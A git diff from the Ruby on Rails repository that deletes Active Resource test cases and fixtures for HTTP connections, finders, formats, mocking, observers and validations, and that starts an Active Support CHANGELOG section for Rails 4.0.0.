-  def test_setting_timeout
-    http = Net::HTTP.new('')
-
-    [10, 20].each do |timeout|
-      @conn.timeout = timeout
-      @conn.send(:configure_http, http)
-      assert_equal timeout, http.open_timeout
-      assert_equal timeout, http.read_timeout
-    end
-  end
-
-  def test_accept_http_header
-    @http = mock('new Net::HTTP')
-    @conn.expects(:http).returns(@http)
-    path = '/people/1.xml'
-    @http.expects(:get).with(path, { 'Accept' => 'application/xhtml+xml' }).returns(ActiveResource::Response.new(@matz, 200, { 'Content-Type' => 'text/xhtml' }))
-    assert_nothing_raised(Mocha::ExpectationError) { @conn.get(path, { 'Accept' => 'application/xhtml+xml' }) }
-  end
-
-  def test_ssl_options_get_applied_to_http
-    http = Net::HTTP.new('')
-    @conn.site="https://secure"
-    @conn.ssl_options={:verify_mode => OpenSSL::SSL::VERIFY_PEER}
-    @conn.timeout = 10 # prevent warning about uninitialized.
-    @conn.send(:configure_http, http)
-
-    assert http.use_ssl?
-    assert_equal http.verify_mode, OpenSSL::SSL::VERIFY_PEER
-  end
-
-  def test_ssl_error
-    http = Net::HTTP.new('')
-    @conn.expects(:http).returns(http)
-    http.expects(:get).raises(OpenSSL::SSL::SSLError, 'Expired certificate')
-    assert_raise(ActiveResource::SSLError) { @conn.get('/people/1.json') }
-  end
-
-  def test_auth_type_can_be_string
-    @conn.auth_type = 'digest'
-    assert_equal(:digest, @conn.auth_type)
-  end
-
-  def test_auth_type_defaults_to_basic
-    @conn.auth_type = nil
-    assert_equal(:basic, @conn.auth_type)
-  end
-
-  def test_auth_type_ignores_nonsensical_values
-    @conn.auth_type = :wibble
-    assert_equal(:basic, @conn.auth_type)
-  end
-
-  protected
-    def assert_response_raises(klass, code)
-      assert_raise(klass, "Expected response code #{code} to raise #{klass}") do
-        handle_response ResponseCodeStub.new(code)
-      end
-    end
-
-    def assert_redirect_raises(code)
-      assert_raise(ActiveResource::Redirection, "Expected response code #{code} to raise ActiveResource::Redirection") do
-        handle_response RedirectResponseStub.new(code, 'http://example.com/')
-      end
-    end
-
-    def handle_response(response)
-      @conn.__send__(:handle_response, response)
-    end
-
-    def decode(response)
-      @conn.format.decode(response.body)
-    end
-end
diff --git a/activeresource/test/cases/finder_test.rb b/activeresource/test/cases/finder_test.rb
deleted file mode 100644
index 5fbbfeef6e..0000000000
--- a/activeresource/test/cases/finder_test.rb
+++ /dev/null
@@ -1,139 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-require "fixtures/customer"
-require "fixtures/street_address"
-require "fixtures/beast"
-require "fixtures/proxy"
-require 'active_support/core_ext/hash/conversions'
-
-class FinderTest < Test::Unit::TestCase
-  def setup
-    setup_response # find me in abstract_unit
-  end
-
-  def test_find_by_id
-    matz = Person.find(1)
-    assert_kind_of Person, matz
-    assert_equal "Matz", matz.name
-    assert matz.name?
-  end
-
-  def test_find_by_id_with_custom_prefix
-    addy = StreetAddress.find(1, :params => { :person_id => 1 })
-    assert_kind_of StreetAddress, addy
-    assert_equal '12345 Street', addy.street
-  end
-
-  def test_find_all
-    all = Person.find(:all)
-    assert_equal 2, all.size
-    assert_kind_of Person, all.first
-    assert_equal "Matz", all.first.name
-    assert_equal "David", all.last.name
-  end
-
-  def test_all
-    all = Person.all
-    assert_equal 2, all.size
-    assert_kind_of Person, all.first
-    assert_equal "Matz", all.first.name
-    assert_equal "David", all.last.name
-  end
-
-  def test_all_with_params
-    all = StreetAddress.all(:params => { :person_id => 1 })
-    assert_equal 1, all.size
-    assert_kind_of StreetAddress, all.first
-  end
-
-  def test_find_first
-    matz = Person.find(:first)
-    assert_kind_of Person, matz
-    assert_equal "Matz", matz.name
-  end
-
-  def test_first
-    matz = Person.first
-    assert_kind_of Person, matz
-    assert_equal "Matz", matz.name
-  end
-
-  def test_first_with_params
-    addy = StreetAddress.first(:params => { :person_id => 1 })
-    assert_kind_of StreetAddress, addy
-    assert_equal '12345 Street', addy.street
-  end
-
-  def test_find_last
-    david = Person.find(:last)
-    assert_kind_of Person, david
-    assert_equal 'David', david.name
-  end
-
-  def test_last
-    david = Person.last
-    assert_kind_of Person, david
-    assert_equal 'David', david.name
-  end
-
-  def test_last_with_params
-    addy = StreetAddress.last(:params => { :person_id => 1 })
-    assert_kind_of StreetAddress, addy
-    assert_equal '12345 Street', addy.street
-  end
-
-  def test_find_by_id_not_found
-    assert_raise(ActiveResource::ResourceNotFound) { Person.find(99) }
-    assert_raise(ActiveResource::ResourceNotFound) { StreetAddress.find(99, :params => {:person_id => 1}) }
-  end
-
-  def test_find_all_sub_objects
-    all = StreetAddress.find(:all, :params => { :person_id => 1 })
-    assert_equal 1, all.size
-    assert_kind_of StreetAddress, all.first
-  end
-
-  def test_find_all_sub_objects_not_found
-    assert_nothing_raised do
-      StreetAddress.find(:all, :params => { :person_id => 2 })
-    end
-  end
-
-  def test_find_all_by_from
-    ActiveResource::HttpMock.respond_to { |m| m.get "/companies/1/people.json", {}, @people_david }
-
-    people = Person.find(:all, :from => "/companies/1/people.json")
-    assert_equal 1, people.size
-    assert_equal "David", people.first.name
-  end
-
-  def test_find_all_by_from_with_options
-    ActiveResource::HttpMock.respond_to { |m| m.get "/companies/1/people.json", {}, @people_david }
-
-    people = Person.find(:all, :from => "/companies/1/people.json")
-    assert_equal 1, people.size
-    assert_equal "David", people.first.name
-  end
-
-  def test_find_all_by_symbol_from
-    ActiveResource::HttpMock.respond_to { |m| m.get "/people/managers.json", {}, @people_david }
-
-    people = Person.find(:all, :from => :managers)
-    assert_equal 1, people.size
-    assert_equal "David", people.first.name
-  end
-
-  def test_find_single_by_from
-    ActiveResource::HttpMock.respond_to { |m| m.get "/companies/1/manager.json", {}, @david }
-
-    david = Person.find(:one, :from => "/companies/1/manager.json")
-    assert_equal "David", david.name
-  end
-
-  def test_find_single_by_symbol_from
-    ActiveResource::HttpMock.respond_to { |m| m.get "/people/leader.json", {}, @david }
-
-    david = Person.find(:one, :from => :leader)
-    assert_equal "David", david.name
-  end
-end
diff --git a/activeresource/test/cases/format_test.rb b/activeresource/test/cases/format_test.rb
deleted file mode 100644
index 174142ec52..0000000000
--- a/activeresource/test/cases/format_test.rb
+++ /dev/null
@@ -1,114 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-require "fixtures/street_address"
-
-class FormatTest < Test::Unit::TestCase
-  def setup
-    @matz  = { :id => 1, :name => 'Matz' }
-    @david = { :id => 2, :name => 'David' }
-
-    @programmers = [ @matz, @david ]
-  end
-
-  def test_http_format_header_name
-    header_name = ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:get]
-    assert_equal 'Accept', header_name
-
-    headers_names = [ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:put], ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:post]]
-    headers_names.each{ |name| assert_equal 'Content-Type', name }
-  end
-
-  def test_formats_on_single_element
-    for format in [ :json, :xml ]
-      using_format(Person, format) do
-        ActiveResource::HttpMock.respond_to.get "/people/1.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@david)
-        assert_equal @david[:name], Person.find(1).name
-      end
-    end
-  end
-
-  def test_formats_on_collection
-    for format in [ :json, :xml ]
-      using_format(Person, format) do
-        ActiveResource::HttpMock.respond_to.get "/people.#{format}", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode(@programmers)
-        remote_programmers = Person.find(:all)
-        assert_equal 2, remote_programmers.size
-        assert remote_programmers.find { |p| p.name == 'David' }
-      end
-    end
-  end
-
-  def test_formats_on_custom_collection_method
-    for format in [ :json, :xml ]
-      using_format(Person, format) do
-        ActiveResource::HttpMock.respond_to.get "/people/retrieve.#{format}?name=David", {'Accept' => ActiveResource::Formats[format].mime_type}, ActiveResource::Formats[format].encode([@david])
-        remote_programmers = Person.get(:retrieve, :name => 'David')
-        assert_equal 1, remote_programmers.size
-        assert_equal @david[:id], remote_programmers[0]['id']
-        assert_equal @david[:name], remote_programmers[0]['name']
-      end
-    end
-  end
-
-  def test_formats_on_custom_element_method
-    [:json, :xml].each do |format|
-      using_format(Person, format) do
-        david = (format == :json ? { :person => @david } : @david)
-        ActiveResource::HttpMock.respond_to do |mock|
-          mock.get "/people/2.#{format}", { 'Accept' => ActiveResource::Formats[format].mime_type }, ActiveResource::Formats[format].encode(david)
-          mock.get "/people/2/shallow.#{format}", { 'Accept' => ActiveResource::Formats[format].mime_type }, ActiveResource::Formats[format].encode(david)
-        end
-
-        remote_programmer = Person.find(2).get(:shallow)
-        assert_equal @david[:id], remote_programmer['id']
-        assert_equal @david[:name], remote_programmer['name']
-      end
-
-      ryan_hash = { :name => 'Ryan' }
-      ryan_hash = (format == :json ? { :person => ryan_hash } : ryan_hash)
-      ryan = ActiveResource::Formats[format].encode(ryan_hash)
-      using_format(Person, format) do
-        remote_ryan = Person.new(:name => 'Ryan')
-        ActiveResource::HttpMock.respond_to.post "/people.#{format}", { 'Content-Type' => ActiveResource::Formats[format].mime_type}, ryan, 201, { 'Location' => "/people/5.#{format}" }
-        remote_ryan.save
-
-        remote_ryan = Person.new(:name => 'Ryan')
-        ActiveResource::HttpMock.respond_to.post "/people/new/register.#{format}", { 'Content-Type' => ActiveResource::Formats[format].mime_type}, ryan, 201, { 'Location' => "/people/5.#{format}" }
-        assert_equal ActiveResource::Response.new(ryan, 201, { 'Location' => "/people/5.#{format}" }), remote_ryan.post(:register)
-      end
-    end
-  end
-
-  def test_setting_format_before_site
-    resource = Class.new(ActiveResource::Base)
-    resource.format = :json
-    resource.site   = 'http://37s.sunrise.i:3000'
-    assert_equal ActiveResource::Formats[:json], resource.connection.format
-  end
-
-  def test_serialization_of_nested_resource
-    address  = { :street => '12345 Street' }
-    person  = { :name => 'Rus', :address => address}
-
-    [:json, :xml].each do |format|
-      encoded_person = ActiveResource::Formats[format].encode(person)
-      assert_match(/12345 Street/, encoded_person)
-      remote_person = Person.new(person.update({:address => StreetAddress.new(address)}))
-      assert_kind_of StreetAddress, remote_person.address
-      using_format(Person, format) do
-        ActiveResource::HttpMock.respond_to.post "/people.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, encoded_person, 201, {'Location' => "/people/5.#{format}"}
-        remote_person.save
-      end
-    end
-  end
-
-  private
-    def using_format(klass, mime_type_reference)
-      previous_format = klass.format
-      klass.format = mime_type_reference
-
-      yield
-    ensure
-      klass.format = previous_format
-    end
-end
diff --git a/activeresource/test/cases/http_mock_test.rb b/activeresource/test/cases/http_mock_test.rb
deleted file mode 100644
index d2fd911314..0000000000
--- a/activeresource/test/cases/http_mock_test.rb
+++ /dev/null
@@ -1,202 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/object/inclusion'
-
-class HttpMockTest < ActiveSupport::TestCase
-  setup do
-    @http = ActiveResource::HttpMock.new("http://example.com")
-  end
-
-  FORMAT_HEADER = ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES
-
-  [:post, :put, :get, :delete, :head].each do |method|
-    test "responds to simple #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", { FORMAT_HEADER[method] => "application/json" }, "Response")
-      end
-
-      assert_equal "Response", request(method, "/people/1", FORMAT_HEADER[method] => "application/json").body
-    end
-
-    test "adds format header by default to #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {}, "Response")
-      end
-
-      assert_equal "Response", request(method, "/people/1", FORMAT_HEADER[method] => "application/json").body
-    end
-
-    test "respond only when headers match header by default to #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {"X-Header" => "X"}, "Response")
-      end
-
-      assert_equal "Response", request(method, "/people/1", "X-Header" => "X").body
-      assert_raise(ActiveResource::InvalidRequestError) { request(method, "/people/1") }
-    end
-
-    test "does not overwrite format header to #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {FORMAT_HEADER[method] => "application/json"}, "Response")
-      end
-
-      assert_equal "Response", request(method, "/people/1", FORMAT_HEADER[method] => "application/json").body
-    end
-
-    test "ignores format header when there is only one response to same url in a #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", {}, "Response")
-      end
-
-      assert_equal "Response", request(method, "/people/1", FORMAT_HEADER[method] => "application/json").body
-      assert_equal "Response", request(method, "/people/1", FORMAT_HEADER[method] => "application/xml").body
-    end
-
-    test "responds correctly when format header is given to #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", { FORMAT_HEADER[method] => "application/xml" }, "XML")
-        mock.send(method, "/people/1", { FORMAT_HEADER[method] => "application/json" }, "Json")
-      end
-
-      assert_equal "XML", request(method, "/people/1", FORMAT_HEADER[method] => "application/xml").body
-      assert_equal "Json", request(method, "/people/1", FORMAT_HEADER[method] => "application/json").body
-    end
-
-    test "raises InvalidRequestError if no response found for the #{method} request" do
-      ActiveResource::HttpMock.respond_to do |mock|
-        mock.send(method, "/people/1", { FORMAT_HEADER[method] => "application/json" }, "json")
-      end
-
-      assert_raise(::ActiveResource::InvalidRequestError) do
-        request(method, "/people/1", FORMAT_HEADER[method] => "application/xml")
-      end
-    end
-
-  end
-
-  test "allows you to send in pairs directly to the respond_to method" do
-    matz  = { :person => { :id => 1, :name => "Matz" } }.to_json
-
-    create_matz = ActiveResource::Request.new(:post, '/people.json', matz, {})
-    created_response = ActiveResource::Response.new("", 201, { "Location" => "/people/1.json" })
-    get_matz = ActiveResource::Request.new(:get, '/people/1.json', nil)
-    ok_response = ActiveResource::Response.new(matz, 200, {})
-
-    pairs = {create_matz => created_response, get_matz => ok_response}
-
-    ActiveResource::HttpMock.respond_to(pairs)
-    assert_equal 2, ActiveResource::HttpMock.responses.length
-    assert_equal "", ActiveResource::HttpMock.responses.assoc(create_matz)[1].body
-    assert_equal matz, ActiveResource::HttpMock.responses.assoc(get_matz)[1].body
-  end
-
-  test "resets all mocked responses on each call to respond_to with a block by default" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "JSON1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/2", {}, "JSON2")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-  end
-
-  test "resets all mocked responses on each call to respond_to by passing pairs by default" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "JSON1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    matz  = { :person => { :id => 1, :name => "Matz" } }.to_json
-    get_matz = ActiveResource::Request.new(:get, '/people/1.json', nil)
-    ok_response = ActiveResource::Response.new(matz, 200, {})
-    ActiveResource::HttpMock.respond_to({get_matz => ok_response})
-
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-  end
-
-  test "allows you to add new responses to the existing responses by calling a block" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "JSON1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    ActiveResource::HttpMock.respond_to(false) do |mock|
-      mock.send(:get, "/people/2", {}, "JSON2")
-    end
-    assert_equal 2, ActiveResource::HttpMock.responses.length
-  end
-
-  test "allows you to add new responses to the existing responses by passing pairs" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "JSON1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    matz  = { :person => { :id => 1, :name => "Matz" } }.to_json
-    get_matz = ActiveResource::Request.new(:get, '/people/1.json', nil)
-    ok_response = ActiveResource::Response.new(matz, 200, {})
-    ActiveResource::HttpMock.respond_to({get_matz => ok_response}, false)
-
-    assert_equal 2, ActiveResource::HttpMock.responses.length
-  end
-
-  test "allows you to replace the existing reponse with the same request by calling a block" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "JSON1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    ActiveResource::HttpMock.respond_to(false) do |mock|
-      mock.send(:get, "/people/1", {}, "JSON2")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-  end
-
-  test "allows you to replace the existing reponse with the same request by passing pairs" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "JSON1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    matz  = { :person => { :id => 1, :name => "Matz" } }.to_json
-    get_matz = ActiveResource::Request.new(:get, '/people/1', nil)
-    ok_response = ActiveResource::Response.new(matz, 200, {})
-
-    ActiveResource::HttpMock.respond_to({get_matz => ok_response}, false)
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-  end
-
-  test "do not replace the response with the same path but different method by calling a block" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "JSON1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    ActiveResource::HttpMock.respond_to(false) do |mock|
-      mock.send(:put, "/people/1", {}, "JSON2")
-    end
-    assert_equal 2, ActiveResource::HttpMock.responses.length
-  end
-
-  test "do not replace the response with the same path but different method by passing pairs" do
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.send(:get, "/people/1", {}, "JSON1")
-    end
-    assert_equal 1, ActiveResource::HttpMock.responses.length
-
-    put_matz = ActiveResource::Request.new(:put, '/people/1', nil)
-    ok_response = ActiveResource::Response.new("", 200, {})
-
-    ActiveResource::HttpMock.respond_to({put_matz => ok_response}, false)
-    assert_equal 2, ActiveResource::HttpMock.responses.length
-  end
-
-  def request(method, path, headers = {}, body = nil)
-    if method.in?([:put, :post])
-      @http.send(method, path, body, headers)
-    else
-      @http.send(method, path, headers)
-    end
-  end
-end
diff --git a/activeresource/test/cases/log_subscriber_test.rb b/activeresource/test/cases/log_subscriber_test.rb
deleted file mode 100644
index ab5c22a783..0000000000
--- a/activeresource/test/cases/log_subscriber_test.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require "abstract_unit"
-require "fixtures/person"
-require "active_support/log_subscriber/test_helper"
-require "active_resource/log_subscriber"
-require "active_support/core_ext/hash/conversions"
-
-class LogSubscriberTest < ActiveSupport::TestCase
-  include ActiveSupport::LogSubscriber::TestHelper
-
-  def setup
-    super
-
-    @matz = { :person => { :id => 1, :name => 'Matz' } }.to_json
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get "/people/1.json", {}, @matz
-    end
-
-    ActiveResource::LogSubscriber.attach_to :active_resource
-  end
-
-  def set_logger(logger)
-    ActiveResource::Base.logger = logger
-  end
-
-  def test_request_notification
-    Person.find(1)
-    wait
-    assert_equal 2, @logger.logged(:info).size
-    assert_equal "GET http://37s.sunrise.i:3000/people/1.json", @logger.logged(:info)[0]
-    assert_match(/\-\-\> 200 200 33/, @logger.logged(:info)[1])
-  end
-end
diff --git a/activeresource/test/cases/observing_test.rb b/activeresource/test/cases/observing_test.rb
deleted file mode 100644
index 58d3d389ff..0000000000
--- a/activeresource/test/cases/observing_test.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-require 'abstract_unit'
-require 'fixtures/person'
-require 'active_support/core_ext/hash/conversions'
-
-class ObservingTest < Test::Unit::TestCase
-  cattr_accessor :history
-
-  class PersonObserver < ActiveModel::Observer
-    observe :person
-
-    %w( after_create after_destroy after_save after_update
-        before_create before_destroy before_save before_update).each do |method|
-          define_method(method) { |*| log method }
-    end
-
-    private
-      def log(method)
-        (ObservingTest.history ||= []) << method.to_sym
-      end
-  end
-
-  def setup
-    @matz = { 'person' => { :id => 1, :name => 'Matz' } }.to_json
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get    "/people/1.json", {}, @matz
-      mock.post   "/people.json",   {}, @matz, 201, 'Location' => '/people/1.json'
-      mock.put    "/people/1.json", {}, nil, 204
-      mock.delete "/people/1.json", {}, nil, 200
-    end
-
-    PersonObserver.instance
-  end
-
-  def teardown
-    self.history = nil
-  end
-
-  def test_create_fires_save_and_create_notifications
-    Person.create(:name => 'Rick')
-    assert_equal [:before_save, :before_create, :after_create, :after_save], self.history
-  end
-
-  def test_update_fires_save_and_update_notifications
-    person = Person.find(1)
-    person.save
-    assert_equal [:before_save, :before_update, :after_update, :after_save], self.history
-  end
-
-  def test_destroy_fires_destroy_notifications
-    person = Person.find(1)
-    person.destroy
-    assert_equal [:before_destroy, :after_destroy], self.history
-  end
-end
diff --git a/activeresource/test/cases/validations_test.rb b/activeresource/test/cases/validations_test.rb
deleted file mode 100644
index c6c6e1d786..0000000000
--- a/activeresource/test/cases/validations_test.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-require 'abstract_unit'
-require 'fixtures/project'
-require 'active_support/core_ext/hash/conversions'
-
-# The validations are tested thoroughly under ActiveModel::Validations
-# This test case simply makes sure that they are all accessible by
-# Active Resource objects.
-class ValidationsTest < ActiveModel::TestCase
-  VALID_PROJECT_HASH = { :name => "My Project", :description => "A project" }
-  def setup
-    @my_proj = { "person" => VALID_PROJECT_HASH }.to_json
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post "/projects.json", {}, @my_proj, 201, 'Location' => '/projects/5.json'
-    end
-  end
-
-  def test_validates_presence_of
-    p = new_project(:name => nil)
-    assert !p.valid?, "should not be a valid record without name"
-    assert !p.save, "should not have saved an invalid record"
-    assert_equal ["can't be blank"], p.errors[:name], "should have an error on name"
-
-    p.name = "something"
-
-    assert p.save, "should have saved after fixing the validation, but had: #{p.errors.inspect}"
-  end
-
-  def test_fails_save!
-    p = new_project(:name => nil)
-    assert_raise(ActiveResource::ResourceInvalid) { p.save! }
-  end
-
-  def test_save_without_validation
-    p = new_project(:name => nil)
-    assert !p.save
-    assert p.save(:validate => false)
-  end
-
-  def test_validate_callback
-    # we have a callback ensuring the description is longer than three letters
-    p = new_project(:description => 'a')
-    assert !p.valid?, "should not be a valid record when it fails a validation callback"
-    assert !p.save, "should not have saved an invalid record"
-    assert_equal ["must be greater than three letters long"], p.errors[:description], "should be an error on description"
-
-    # should now allow this description
-    p.description = 'abcd'
-    assert p.save, "should have saved after fixing the validation, but had: #{p.errors.inspect}"
-  end
-
-  def test_client_side_validation_maximum
-    project = Project.new(:description => '123456789012345')
-    assert ! project.valid?
-    assert_equal ['is too long (maximum is 10 characters)'], project.errors[:description]
-  end
-
-  protected
-
-  # quickie helper to create a new project with all the required
-  # attributes.
-  # Pass in any params you specifically want to override
-  def new_project(opts = {})
-    Project.new(VALID_PROJECT_HASH.merge(opts))
-  end
-
-end
-
diff --git a/activeresource/test/fixtures/address.rb b/activeresource/test/fixtures/address.rb
deleted file mode 100644
index 7a73ecb52a..0000000000
--- a/activeresource/test/fixtures/address.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# turns everything into the same object
-class AddressXMLFormatter
-  include ActiveResource::Formats::XmlFormat
-
-  def decode(xml)
-    data = ActiveResource::Formats::XmlFormat.decode(xml)
-    # process address fields
-    data.each do |address|
-      address['city_state'] = "#{address['city']}, #{address['state']}"
-    end
-    data
-  end
-
-end
-
-class AddressResource < ActiveResource::Base
-  self.element_name = "address"
-  self.format = AddressXMLFormatter.new
-end
\ No newline at end of file
diff --git a/activeresource/test/fixtures/beast.rb b/activeresource/test/fixtures/beast.rb
deleted file mode 100644
index e31ec58346..0000000000
--- a/activeresource/test/fixtures/beast.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-class BeastResource < ActiveResource::Base
-  self.site = 'http://beast.caboo.se'
-  site.user = 'foo'
-  site.password = 'bar'
-end
-
-class Forum < BeastResource
-  # taken from BeastResource
-  # self.site = 'http://beast.caboo.se'
-end
-
-class Topic < BeastResource
-  self.site += '/forums/:forum_id'
-end
diff --git a/activeresource/test/fixtures/customer.rb b/activeresource/test/fixtures/customer.rb
deleted file mode 100644
index 845d5d11cb..0000000000
--- a/activeresource/test/fixtures/customer.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Customer < ActiveResource::Base
-  self.site = "http://37s.sunrise.i:3000"
-end
diff --git a/activeresource/test/fixtures/person.rb b/activeresource/test/fixtures/person.rb
deleted file mode 100644
index e88bb69310..0000000000
--- a/activeresource/test/fixtures/person.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Person < ActiveResource::Base
-  self.site = "http://37s.sunrise.i:3000"
-end
diff --git a/activeresource/test/fixtures/project.rb b/activeresource/test/fixtures/project.rb
deleted file mode 100644
index 53de666601..0000000000
--- a/activeresource/test/fixtures/project.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# used to test validations
-class Project < ActiveResource::Base
-  self.site = "http://37s.sunrise.i:3000"
-  schema do
-    string  :email
-    string  :name
-  end
-
-  validates :name, :presence => true
-  validates :description, :presence => false, :length => {:maximum => 10}
-  validate :description_greater_than_three_letters
-
-  # to test the validate *callback* works
-  def description_greater_than_three_letters
-    errors.add :description, 'must be greater than three letters long' if description.length < 3 unless description.blank?
-  end
-end
-
diff --git a/activeresource/test/fixtures/proxy.rb b/activeresource/test/fixtures/proxy.rb
deleted file mode 100644
index bb8e015df0..0000000000
--- a/activeresource/test/fixtures/proxy.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class ProxyResource < ActiveResource::Base
-  self.site = "http://localhost"
-  self.proxy = "http://user:password@proxy.local:3000"
-end
\ No newline at end of file
diff --git a/activeresource/test/fixtures/sound.rb b/activeresource/test/fixtures/sound.rb
deleted file mode 100644
index d9d2b99fcd..0000000000
--- a/activeresource/test/fixtures/sound.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module Asset  
-  class Sound < ActiveResource::Base
-    self.site = "http://37s.sunrise.i:3000"
-  end
-end
-
-# to test namespacing in a module
-class Author
-end
\ No newline at end of file
diff --git a/activeresource/test/fixtures/street_address.rb b/activeresource/test/fixtures/street_address.rb
deleted file mode 100644
index 94a86702b0..0000000000
--- a/activeresource/test/fixtures/street_address.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class StreetAddress < ActiveResource::Base
-  self.site = "http://37s.sunrise.i:3000/people/:person_id/"
-  self.element_name = 'address'
-end
diff --git a/activeresource/test/fixtures/subscription_plan.rb b/activeresource/test/fixtures/subscription_plan.rb
deleted file mode 100644
index e3c2dd9a74..0000000000
--- a/activeresource/test/fixtures/subscription_plan.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class SubscriptionPlan < ActiveResource::Base
-  self.site = "http://37s.sunrise.i:3000"
-  self.element_name = 'plan'
-  self.primary_key = :code
-end
diff --git a/activeresource/test/setter_trap.rb b/activeresource/test/setter_trap.rb
deleted file mode 100644
index 7cfd9ca111..0000000000
--- a/activeresource/test/setter_trap.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-class SetterTrap < ActiveSupport::BasicObject
-  class << self
-    def rollback_sets(obj)
-      trapped = new(obj)
-      yield(trapped).tap { trapped.rollback_sets }
-    end
-  end
-
-  def initialize(obj)
-    @cache = {}
-    @obj = obj
-  end
-
-  def respond_to?(method)
-    @obj.respond_to?(method)
-  end
-
-  def method_missing(method, *args, &proc)
-    @cache[method] ||= @obj.send($`) if method.to_s =~ /=$/
-    @obj.send method, *args, &proc
-  end
-
-  def rollback_sets
-    @cache.each { |k, v| @obj.send k, v }
-  end
-end
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
index e03bfdee92..5f4bf70a08 100644
--- a/activesupport/CHANGELOG.md
+++ b/activesupport/CHANGELOG.md
@@ -1,4 +1,186 @@
-## Rails 3.2.0 (unreleased) ##
+## Rails 4.0.0 (unreleased) ##
+
+*   Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore
+
+    *Guillermo Iguaran*
+
+*   Add default values to all `ActiveSupport::NumberHelper` methods, to avoid
+    errors with empty locales or missing values.
+
+    *Carlos Antonio da Silva*
+
+*   ActiveSupport::JSON::Variable is deprecated. Define your own #as_json and
+    #encode_json methods for custom JSON string literals.
+
+    *Erich Menge*
+
+*   Add String#indent. *fxn & Ace Suares*
+
+*   Inflections can now be defined per locale. `singularize` and `pluralize`
+    accept locale as an extra argument.
+
+    *David Celis*
+
+*   `Object#try` will now return nil instead of raise a NoMethodError if the
+    receiving object does not implement the method, but you can still get the
+    old behavior by using the new `Object#try!`.
+
+    *DHH*
+
+*   `ERB::Util.html_escape` now escapes single quotes. *Santiago Pastorino*
+
+*   `Time#change` now works with time values with offsets other than UTC or the local time zone. *Andrew White*
+
+*   `ActiveSupport::Callbacks`: deprecate usage of filter object with `#before` and `#after` methods as `around` callback. *Bogdan Gusiev*
+
+*   Add `Time#prev_quarter` and `Time#next_quarter` short-hands for `months_ago(3)` and `months_since(3)`. *SungHee Kang*
+
+*   Remove obsolete and unused `require_association` method from dependencies. *fxn*
+
+*   Add `:instance_accessor` option for `config_accessor`.
+
+        class User
+          include ActiveSupport::Configurable
+          config_accessor :allowed_access, instance_accessor: false
+        end
+
+        User.new.allowed_access = true # => NoMethodError
+        User.new.allowed_access        # => NoMethodError
+
+    *Francesco Rodriguez*
+
+*   ActionView::Helpers::NumberHelper methods have been moved to ActiveSupport::NumberHelper and are now available via
+    Numeric#to_s.  Numeric#to_s now accepts the formatting  options :phone, :currency, :percentage, :delimited,
+    :rounded, :human, and :human_size. *Andrew Mutz*
+
+*   Add `Hash#transform_keys`, `Hash#transform_keys!`, `Hash#deep_transform_keys`, and `Hash#deep_transform_keys!`. *Mark McSpadden*
+
+*   Changed xml type `datetime` to `dateTime` (with upper case letter `T`). *Angelo Capilleri*
+
+*   Add `:instance_accessor` option for `class_attribute`. *Alexey Vakhov*
+
